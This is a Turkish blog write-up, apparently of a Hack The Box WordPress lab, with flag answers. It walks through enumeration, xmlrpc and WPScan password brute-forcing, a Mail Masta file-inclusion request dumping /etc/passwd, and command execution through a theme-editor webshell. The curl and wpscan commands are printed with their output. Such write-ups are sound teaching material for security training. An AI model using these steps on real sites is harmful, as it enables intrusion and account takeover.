HACKING WORDPRESS

8 months ago 61
BOOK THIS SPACE FOR AD
ARTICLE AD

HACKING WORDPRESS

WordPress’e Genel Bakış

WordPress, dünyadaki tüm web sitelerinin yaklaşık üçte birine güç veren en popüler açık kaynaklı İçerik Yönetim Sistemidir (CMS).

WordPress PHP ile yazılmıştır ve genellikle arka uç olarak MySQL ile Apache üzerinde çalışır.

CMS nedir?

CMS, her şeyi sıfırdan kodlamaya (hatta kod yazmayı bilmeye) gerek kalmadan bir web sitesi oluşturmaya yardımcı olan güçlü bir araçtır.

Çoğu CMS, kullanıcıların içeriği Microsoft Word gibi bir kelime işlem aracında çalışıyormuş gibi düzenleyebilecekleri zengin bir What You See Is What You Get (WYSIWYG) editörü sağlar.

Kullanıcılar bir yönetim portalı ya da FTP veya SFTP aracılığıyla web sunucusuyla etkileşim kurmak yerine doğrudan bir medya kütüphanesi arayüzünden medya yükleyebilirler.

Bir İçerik Yönetim Uygulaması (CMA) — içerik eklemek ve yönetmek için kullanılan arayüz.Bir İçerik Dağıtım Uygulaması (CDA) — CMA’ya girilen girdiyi alan ve kodu çalışan, görsel olarak çekici bir web sitesi haline getiren backend.

WordPress Yapısı
WordPress bir Windows, Linux veya Mac OSX sunucusuna kurulabilir. Bu modülde, Ubuntu Linux web sunucusunda varsayılan bir WordPress kurulumuna odaklanacağız. WordPress, bir Linux sunucusuna kurulmadan önce tam olarak kurulmuş ve yapılandırılmış bir LAMP stack (Linux işletim sistemi, Apache HTTP Sunucusu, MySQL veritabanı ve PHP programlama dili) gerektirir. Kurulumdan sonra, WordPress’i destekleyen tüm dosya ve dizinlere /var/www/html adresinde bulunan webroot’tan erişilebilir.

Aşağıda, web sitesinin düzgün çalışması için gerekli olan temel dosyaları ve alt dizinleri gösteren varsayılan bir WordPress kurulumunun dizin yapısı bulunmaktadır.

File Structure

Anahtar WordPress Dosyaları

WordPress’in root dizini, WordPress’i doğru çalışacak şekilde yapılandırmak için gereken dosyaları içerir.

index.php WordPress’in ana sayfasıdır.license.txt WordPress’in yüklü olduğu sürüm gibi faydalı bilgiler içerir.wp-activate.php yeni bir WordPress sitesi kurarken e-posta aktivasyon işlemi için kullanılır.wp-admin klasörü yönetici erişimi için giriş sayfasını ve backend kontrol panelini içerir. Bir kullanıcı giriş yaptıktan sonra, atanan izinlerine göre sitede değişiklik yapabilir. Oturum açma sayfası aşağıdaki yollardan birinde bulunabilir:/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.php

Bu dosya, giriş sayfasını bulmayı daha zor hale getirmek için yeniden adlandırılabilir.

xmlrpc.php, verilerin HTTP’nin aktarım mekanizması ve XML’in kodlama mekanizması olarak kullanılmasıyla iletilmesini sağlayan WordPress’in bir özelliğini temsil eden bir dosyadır. Bu iletişim türü WordPress REST API ile değiştirilmiştir.

WordPress Yapılandırma Dosyası

wp-config.php dosyası, WordPress’in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve parola, kimlik doğrulama anahtarları ve salts gibi bilgileri ve veritabanı tablo önekini içerir. Bu yapılandırma dosyası, sorun gidermede yararlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.

wp-config.php

<?php
/** <SNIP> */
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** MySQL database username */
define( 'DB_USER', 'username_here' );

/** MySQL database password */
define( 'DB_PASSWORD', 'password_here' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Authentication Unique Keys and Salts */
/* <SNIP> */
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );

/** WordPress Database Table prefix */
$table_prefix = 'wp_';

/** For developers: WordPress debugging mode. */
/** <SNIP> */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Önemli WordPress Dizinleri

wp-content klasörü eklentilerin ve temaların depolandığı ana dizindir. uploads/ alt dizini genellikle platforma yüklenen tüm dosyaların depolandığı yerdir. Bu dizinler ve dosyalar, uzaktan kod yürütülmesine veya diğer güvenlik açıklarından ya da yanlış yapılandırmalardan yararlanılmasına yol açabilecek hassas veriler içerebileceğinden dikkatle numaralandırılmalıdır.

WP-Content

wp-includes, yönetim bileşenleri ve web sitesine ait temalar dışında her şeyi içerir. Bu dizin sertifikalar, yazı tipleri, JavaScript dosyaları ve widget’lar gibi temel dosyaların depolandığı dizindir.

WP-Includes

WordPress Kullanıcı Rolleri

Standart bir WordPress kurulumunda beş tür kullanıcı vardır.

Sunucuda kod yürütme elde etmek için genellikle yönetici olarak erişim kazanmak gerekir. Ancak, editörler ve yazarlar normal kullanıcıların erişemediği bazı güvenlik açığı olan eklentilere erişebilir

WordPress Çekirdek Sürüm Numaralandırma

Numaralandırma aşamasının önemli bir parçası da yazılım sürüm numarasının ortaya çıkarılmasıdır. Bu, bir uygulamanın belirli sürümleri için ayarlanmış olabilecek varsayılan parolalar gibi yaygın yanlış yapılandırmaları ararken ve belirli bir sürüm numarası için bilinen güvenlik açıklarını ararken faydalıdır. İlk ve en kolay adım sayfanın kaynak kodunu incelemektir.

Tarayıcıda [CTRL + F] kısayolunu kullanarak meta generator etiketini arayabilir veya bu bilgiyi filtrelemek için komut satırından grep ile birlikte cURL’yi kullanabiliriz.

...SNIP...
<link rel='https://api.w.org/' href='http://blog.inlanefreight.com/index.php/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://blog.inlanefreight.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://blog.inlanefreight.com/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 5.3.3" />
...SNIP...
M1R4CKCK@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | grep '<meta name="generator"'

<meta name="generator" content="WordPress 5.3.3" />

Sürüm bilgilerinin yanı sıra, kaynak kodu yararlı olabilecek yorumlar da içerebilir. CSS (stil sayfaları) ve JS (JavaScript) bağlantıları da sürüm numarası hakkında ipuçları sağlayabilir.

WP Version — CSS

...SNIP...
<link rel='stylesheet' id='bootstrap-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex-style-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/style.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex_color-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='smartmenus-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3' type='text/css' media='all' />
...SNIP...

WP Version — JS

...SNIP...
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp'></script>
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3'></script>
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.3.3'></script>
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.3.3'></script>
...SNIP...

Eski WordPress sürümlerinde, sürüm bilgilerini ortaya çıkarmak için bir başka kaynak da WordPress’in root dizinindeki readme.html dosyasıdır.

Plugins and Themes Enumeration

Ayrıca, sayfa kaynağını inceleyerek veya cURL ve diğer komut satırı yardımcı programlarını kullanarak bilgi için filtreleme yaparak kaynak kodunu manuel olarak inceleyerek yüklü pluginler hakkında bilgi bulabiliriz.

M1R4CKCK@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

http://blog.inlanefreight.com/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=6.1
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=6.1
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=5.3.3

Themes

M1R4CKCK@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/style.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/owl.carousel.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/owl.transitions.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/font-awesome.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/animate.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/magnific-popup.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap-progressbar.min.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/navigation.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/bootstrap.min.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/jquery.smartmenus.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/jquery.smartmenus.bootstrap.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/owl.carousel.min.js?ver=5.3.3
background: url("http://blog.inlanefreight.com/wp-content/themes/ben_theme/images/breadcrumb-back.jpg") #50b9ce;

Yanıt başlıkları belirli pluginler için sürüm numaraları da içerebilir.

Ancak, yüklü tüm plugin ve temalar pasif olarak keşfedilemez. Bu durumda, bunları listelemek için sunucuya aktif olarak istek göndermemiz gerekir. Bunu, sunucuda var olabilecek bir dizini veya dosyayı işaret eden bir GET isteği göndererek yapabiliriz. Dizin ya da dosya mevcutsa, ya dizine ya da dosyaya erişim kazanırız ya da web sunucusundan içeriğin mevcut olduğunu belirten bir yönlendirme yanıtı alırız. Ancak, bu içeriğe doğrudan erişimimiz yoktur.

Plugins Active Enumeration

M1R4CKCK@htb[/htb]$ curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta

HTTP/1.1 301 Moved Permanently
Date: Wed, 13 May 2020 20:08:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Location: http://blog.inlanefreight.com/wp-content/plugins/mail-masta/
Content-Length: 356
Content-Type: text/html; charset=iso-8859-1

Eğer içerik mevcut değilse, 404 Not Found hatası alırız.

M1R4CKCK@htb[/htb]$ curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/someplugin

HTTP/1.1 404 Not Found
Date: Wed, 13 May 2020 20:08:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <http://blog.inlanefreight.com/index.php/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

Aynı durum yüklü temalar için de geçerlidir.

Numaralandırmayı hızlandırmak için basit bir bash betiği yazabilir veya işlemi otomatikleştiren wfuzz veya WPScan gibi bir araç kullanabiliriz.

Dizin İndeksleme

Bir WordPress web sitesini değerlendirirken tek odak noktamız aktif eklentiler olmamalıdır. Bir eklenti devre dışı bırakılmış olsa bile, hala erişilebilir olabilir ve bu nedenle ilişkili komut dosyalarına ve işlevlerine erişebiliriz. Güvenlik açığı olan bir eklentinin devre dışı bırakılması WordPress sitesinin güvenliğini artırmaz. Kullanılmayan eklentileri kaldırmak ya da güncel tutmak en iyi uygulamadır.

Aşağıdaki örnekte devre dışı bırakılmış bir eklenti gösterilmektedir.

Plugins dizinine göz atarsak, Mail Masta eklentisine hala erişimimiz olduğunu görebiliriz.

Ayrıca cURL kullanarak dizin listesini görüntüleyebilir ve html2text kullanarak HTML çıktısını okunabilir bir biçime dönüştürebiliriz.

M1R4CKCK@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text

****** Index of /wp-content/plugins/mail-masta ******
[[ICO]] Name Last_modified Size Description
===========================================================================
[[PARENTDIR]] Parent_Directory -
[[DIR]] amazon_api/ 2020-05-13 18:01 -
[[DIR]] inc/ 2020-05-13 18:01 -
[[DIR]] lib/ 2020-05-13 18:01 -
[[ ]] plugin-interface.php 2020-05-13 18:01 88K
[[TXT]] readme.txt 2020-05-13 18:01 2.2K
===========================================================================
Apache/2.4.29 (Ubuntu) Server at blog.inlanefreight.com Port 80

Bu erişim türüne Dizin İndeksleme denir. Klasörde gezinmemizi ve hassas bilgiler veya savunmasız kod içerebilecek dosyalara erişmemizi sağlar. Web sunucularında dizin indekslemeyi devre dışı bırakmak en iyi uygulamadır, böylece potansiyel bir saldırgan web sitesinin düzgün çalışması için gerekli olanlar dışında herhangi bir dosya veya klasöre doğrudan erişim sağlayamaz.

Makine Çözümü 1-

Soru : WordPress Yapısı bölümünde tartışılan temel WordPress dizinlerini aklınızda bulundurun. İçeriği listelenebilecek tüm dizinler için hedefi manuel olarak numaralandırın. Bu dizinlere göz atın ve flag.txt dosya adına sahip bir bayrak bulun ve içeriğini yanıt olarak gönderin.

Cevap :

1-Dizin indeksleme klasör bazında devre dışı bırakılır. Bazen alt dizinler, ebeveynleri devre dışı bırakılmış olsa bile dizin indeksleme özelliğine sahip olabilir.

User Enumeration

Manuel kullanıcı adı numaralandırması yapmak için iki yöntem vardır.

Birinci Yöntem

İlk yöntem, kullanıcıya atanan kimliği ve ilgili kullanıcı adını ortaya çıkarmak için gönderileri incelemektir. Aşağıdaki resimde gösterildiği gibi fareyi “by admin” başlıklı gönderi yazarı bağlantısının üzerine getirirsek, web tarayıcısının sol alt köşesinde kullanıcının hesabına giden bir bağlantı görünür.

Yönetici kullanıcıya genellikle 1 kullanıcı kimliği atanır. URL’deki yazar parametresi için kullanıcı kimliğini belirterek bunu doğrulayabiliriz.

http://blog.inlanefreight.com/?author=1

Bu işlem komut satırından cURL ile de yapılabilir. Aşağıdaki çıktıdaki HTTP yanıtı, kullanıcı kimliğine karşılık gelen yazarı gösterir. Location başlığındaki URL, bu kullanıcı kimliğinin admin kullanıcısına ait olduğunu doğrulamaktadır.

Mevcut Kullanıcı

Yukarıdaki cURL isteği daha sonra bizi kullanıcının profil sayfasına veya ana giriş sayfasına yönlendirir. Eğer kullanıcı mevcut değilse, 404 Not Found hatası alırız.

Mevcut Olmayan Kullanıcı

İkinci Yöntem

İkinci yöntem, bir kullanıcı listesi elde etmemizi sağlayan JSON uç noktası ile etkileşim gerektirir. Bu, 4.7.1 sürümünden sonra WordPress çekirdeğinde değiştirildi ve sonraki sürümler yalnızca bir kullanıcının yapılandırılmış olup olmadığını gösterir. Bu sürümden önce, bir gönderi yayınlamış olan tüm kullanıcılar varsayılan olarak gösteriliyordu.

JSON Endpoint

Makine Çözümü 2-

Soru : Son cURL komutundan, Kullanıcı Kimliği 2'ye hangi kullanıcı adı atanmıştır?)

Cevap : ch4p

Login

Geçerli kullanıcıların bir listesini elde ettikten sonra, WordPress backend’ine erişim sağlamaya çalışmak için bir password brute-forcing saldırısı düzenleyebiliriz. Bu saldırı oturum açma sayfası veya xmlrpc.php sayfası üzerinden gerçekleştirilebilir.

xmlrpc.php’ye yönelik POST isteğimiz geçerli kimlik bilgileri içeriyorsa, aşağıdaki çıktıyı alırız:

cURL — POST Request

M1R4CKCK@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://blog.inlanefreight.com/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>Inlanefreight</string></value></member>
<member><name>xmlrpc</name><value><string>http://blog.inlanefreight.com/xmlrpc.php</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>

Eğer kimlik bilgileri geçerli değilse, 403 faultCode hatası alırız.

M1R4CKCK@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>asdasd</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Incorrect username or password.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>

Makine Çözümü 3-

Soru : “WordPress xmlrpc saldırıları” için arama yapın ve tüm method çağrılarını yürütmek için nasıl kullanılacağını öğrenin. Cevap olarak hedefinizin olası yöntem çağrılarının sayısını girin.

Cevap : 80

1-curl kullanarak method name’ini kaç adet olduğunu alabiliriz. Fakat manuel saymak yerine bir sonraki koduda kullanabiliriz.

Script : curl -s -X POST -d ‘<?xml version=”1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>’ http://94.237.58.211:51833/xmlrpc.php | grep -o ‘<string>[^<]*</string>’ | sed ‘s/<string>\(.*\)<\/string>/\1/’ | wc -l

WPScan’i Kullanma

WPScan otomatik bir WordPress tarayıcı ve numaralandırma aracıdır. Bir WordPress sitesi tarafından kullanılan çeşitli temaların ve eklentilerin eski veya savunmasız olup olmadığını belirler.

Güvenlik açığı olan pluginler, tüm pluginler, kullanıcı numaralandırma ve daha fazlası gibi belirtilebilecek çeşitli numaralandırma seçenekleri vardır. Kullanabileceğimiz tüm seçenekleri anlamak ve hedefe bağlı olarak tarayıcıya ince ayar yapmak önemlidir (yani, sadece WordPress sitesinin herhangi bir savunmasız plugin kullanıp kullanmadığını mı görmek istiyoruz, sitenin tüm yönlerinin tam bir denetimini mi yapmamız gerekiyor yoksa sadece kaba kuvvet şifre tahmin saldırısında kullanmak için bir kullanıcı listesi oluşturmakla mı ilgileniyoruz?)

WPScan, taramalarımızı geliştirmek için harici kaynaklardan güvenlik açığı bilgilerini çekebilir. WPVulnDB’den, WPScan tarafından güvenlik açığı taraması yapmak ve kavram kanıtlarından (POC) ve raporlardan yararlanmak için kullanılan bir API belirteci alabiliriz.

Ücretsiz plan, günde en fazla 50 isteğe izin verir. WPVulnDB veritabanını kullanmak için bir hesap oluşturmanız ve kullanıcılar sayfasından API belirtecini kopyalamanız yeterlidir. Bu belirteç daha sonra — api-token parametresi kullanılarak WPScan’e verilebilir.

WPScan Enumeration

WPScan ile Bir Web Sitesini Numaralandırma
— enumerate bayrağı WordPress uygulamasının eklentiler, temalar ve kullanıcılar gibi çeşitli bileşenlerini listelemek için kullanılır. Varsayılan olarak, WPScan savunmasız eklentileri, temaları, kullanıcıları, medyayı ve yedekleri numaralandırır. Ancak, numaralandırmayı belirli bileşenlerle kısıtlamak için belirli argümanlar sağlanabilir. Örneğin, — enumerate ap argümanları kullanılarak tüm eklentiler numaralandırılabilir. Bir WordPress web sitesine karşı normal bir numaralandırma taraması çalıştıralım.

Not: Kullanılan varsayılan iş parçacığı sayısı 5'tir, ancak bu değer “-t” bayrağı kullanılarak değiştirilebilir.

WPScan Enumeration

M1R4CKCK@htb[/htb]$ wpscan --url http://blog.inlanefreight.com --enumerate --api-token Kffr4fdJzy9qVcTk<SNIP>

[+] URL: http://blog.inlanefreight.com/

[+] Headers
| - Server: Apache/2.4.38 (Debian)
| - X-Powered-By: PHP/7.3.15
| Found By: Headers (Passive Detection)

[+] XML-RPC seems to be enabled: http://blog.inlanefreight.com/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| - http://codex.wordpress.org/XML-RPC_Pingback_API

[+] The external WP-Cron seems to be enabled: http://blog.inlanefreight.com/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| - https://www.iplocation.net/defend-wordpress-from-ddos

[+] WordPress version 5.3.2 identified (Latest, released on 2019-12-18).
| Found By: Rss Generator (Passive Detection)
| - http://blog.inlanefreight.com/?feed=rss2, <generator>https://wordpress.org/?v=5.3.2</generator>

[+] WordPress theme in use: twentytwenty
| Location: http://blog.inlanefreight.com/wp-content/themes/twentytwenty/
| Readme: http://blog.inlanefreight.com/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.2
| Style Name: Twenty Twenty

[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] Plugin(s) Identified:
[+] mail-masta
| Location: http://blog.inlanefreight.com/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Found By: Urls In Homepage (Passive Detection)
| [!] 2 vulnerabilities identified:
|
| [!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
| - https://www.exploit-db.com/exploits/40290/
| [!] Title: Mail Masta 1.0 - Multiple SQL Injection
| - https://wpvulndb.com/vulnerabilities/8740
[+] wp-google-places-review-slider
| [!] 1 vulnerability identified:
| [!] Title: WP Google Review Slider <= 6.1 - Authenticated SQL Injection
| Reference: https://wpvulndb.com/vulnerabilities/9933

[i] No themes Found.
<SNIP>
[i] No Config Backups Found.
<SNIP>
[i] No Medias Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
<SNIP>
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] david
<SNIP>
[+] roger
<SNIP>

Makine Çözümü 4-

Soru : Yüklü tüm eklentiler için sağlanan WordPress örneğini numaralandırın. Hedefe karşı WPScan ile bir tarama gerçekleştirin ve “photo-gallery” adlı savunmasız eklentinin sürümünü gönderin.

Cevap : 1.5.34

Güvenlik Açığı Bulunan Bir Eklentiden Yararlanma
WPScan Sonuçlarından Yararlanma

WPScan tarafından oluşturulan rapor bize web sitesinin eski bir WordPress sürümü (5.3.2) ve Twenty Twenty adlı eski bir tema kullandığını söylüyor. WPScan, Mail Masta 1.0 ve Google Review Slider olmak üzere iki savunmasız eklenti tespit etmiştir. Mail Masta eklentisinin bu sürümünün SQL Enjeksiyonunun yanı sıra Yerel Dosya Ekleme (LFI) konusunda da savunmasız olduğu bilinmektedir. Rapor çıktısı ayrıca, bu güvenlik açıklarından nasıl yararlanılacağı hakkında bilgi sağlayan PoC’lere URL’ler içerir.

Bu exploit-db raporuna dayanarak LFI’den yararlanılıp yararlanılamayacağını doğrulayalım. Açık, kimliği doğrulanmamış herhangi bir kullanıcının yerel dosyaları yol üzerinden okuyabileceğini belirtir: /wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd.

LFI using Browser

Bu güvenlik açığını komut satırında cURL kullanarak da doğrulayabiliriz.

LFI using cURL

M1R4CKCK@htb[/htb]$ curl http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

Makine Çözümü -5

Soru : Hedefinize karşı aynı LFI güvenlik açığını kullanın ve “/etc/passwd” dosyasının içeriğini okuyun. Sistemde oturum açma kabuğuna sahip tek root olmayan kullanıcıyı bulun.

Cevap : sally.jones

WordPress User Bruteforce

WPScan, kullanıcı adlarını ve parolaları brute force yapmak için kullanılabilir. Tarama raporu, web sitesinde kayıtlı üç kullanıcı döndürdü: admin, roger ve david. Araç, xmlrpc ve wp-login olmak üzere iki tür oturum açma kaba kuvvet saldırısı kullanır. Wp-login yöntemi normal WordPress giriş sayfasını kaba kuvvete zorlamaya çalışırken, xmlrpc yöntemi /xmlrpc.php üzerinden giriş denemeleri yapmak için WordPress API’sini kullanır. Daha hızlı olduğu için xmlrpc yöntemi tercih edilir.

WPscan — XMLRPC

M1R4CKCK@htb[/htb]$ wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url http://blog.inlanefreight.com

[+] URL: http://blog.inlanefreight.com/
[+] Started: Thu Apr 9 13:37:36 2020
[+] Performing password attack on Xmlrpc against 3 user/s

[SUCCESS] - admin / sunshine1
Trying david / Spring2016 Time: 00:00:01 <============> (474 / 474) 100.00% Time: 00:00:01

[i] Valid Combinations Found:
| Username: admin, Password: sunshine1

Makine Çözümü 6-

Soru :“rockyou.txt” kelime listesi ile hedefinizdeki “roger” kullanıcısına karşı bir bruteforce saldırısı gerçekleştirin. Kullanıcının şifresini cevap olarak gönderin.

Cevap : lizard

Kullandığımız kod : wpscan — password-attack xmlrpc -t 20 -U roger -P /usr/share/wordlists/rockyou.txt — url http://94.237.58.211:42467

Tema Düzenleyicisi aracılığıyla Remote Code Execution (RCE)

WordPress Backend’e Saldırma

WordPress’e yönetici erişimiyle, sistem komutlarını çalıştırmak için PHP kaynak kodunu değiştirebiliriz. Bu saldırıyı gerçekleştirmek için WordPress’e yönetici kimlik bilgileriyle giriş yapın, bu bizi yönetici paneline yönlendirecektir. Yan paneldeki Appearance’ e tıklayın ve Theme Editor’ü seçin. Bu sayfa PHP kaynak kodunu doğrudan düzenlememize izin verecektir. Ana temanın bozulmasını önlemek için etkin olmayan bir tema seçmeliyiz.

Theme Editor

Aktif temanın Transportex olduğunu görebiliyoruz, bu nedenle bunun yerine Twenty Seventeen gibi kullanılmayan bir tema seçilmelidir.

Selecting Theme

Bir tema seçin ve Seç’e tıklayın. Ardından, değiştirmek ve bir web kabuğu eklemek için 404.php gibi kritik olmayan bir dosya seçin.

Twenty Seventeen Theme — 404.php

Yukarıdaki kod, GET parametresi cmd aracılığıyla komutları çalıştırmamıza izin vermelidir. Bu örnekte, 404.php sayfasının kaynak kodunu değiştirdik ve system() adlı yeni bir fonksiyon ekledik. Bu fonksiyon, bir GET isteği göndererek ve cmd parametresini bir soru işaretinden sonra URL’nin sonuna ekleyerek ve bir işletim sistemi komutu belirterek doğrudan işletim sistemi komutlarını çalıştırmamıza izin verecektir. Değiştirilmiş URL şu şekilde görünmelidir 404.php?cmd=id.

URL’yi web tarayıcısına girerek veya aşağıdaki cURL isteğini göndererek RCE elde ettiğimizi doğrulayabiliriz.

RCE

M1R4CKCK@htb[/htb]$ curl -X GET "http://<target>/wp-content/themes/twentyseventeen/404.php?cmd=id"

uid=1000(wp-user) gid=1000(wp-user) groups=1000(wp-user)
<SNIP>

Makine Çözümü 7-

Soru : Admin kullanıcısının [admin:sunshine1] kimlik bilgilerini kullanın ve hedefinize bir webshell yükleyin. Hedefe erişiminiz olduğunda, “wp-user” dizini için ev dizinindeki “flag.txt” dosyasının içeriğini edinin.

Cevap :

1- Payloadımızı 404.php dosyasına yükledik.

2-cURL çalışığ çalışmadığını control ettik.

3- Home dizininde bir ls çalıştırdık.

4-wp-user dizininde ls çalıştırdık ve flag.txt dosyamızı bulduk .

5- Son olarak cat ile flag.txt dosyamızı okuduk .

Metasploit ile WordPress’e Saldırmak
WordPress İstismarını Otomatikleştirme

Hedef üzerinde otomatik olarak bir reverse shell elde etmek için Metasploit Framework (MSF) kullanabiliriz. Bu, web sunucusunda dosya oluşturmak için yeterli haklara sahip bir hesap için geçerli kimlik bilgileri gerektirir.

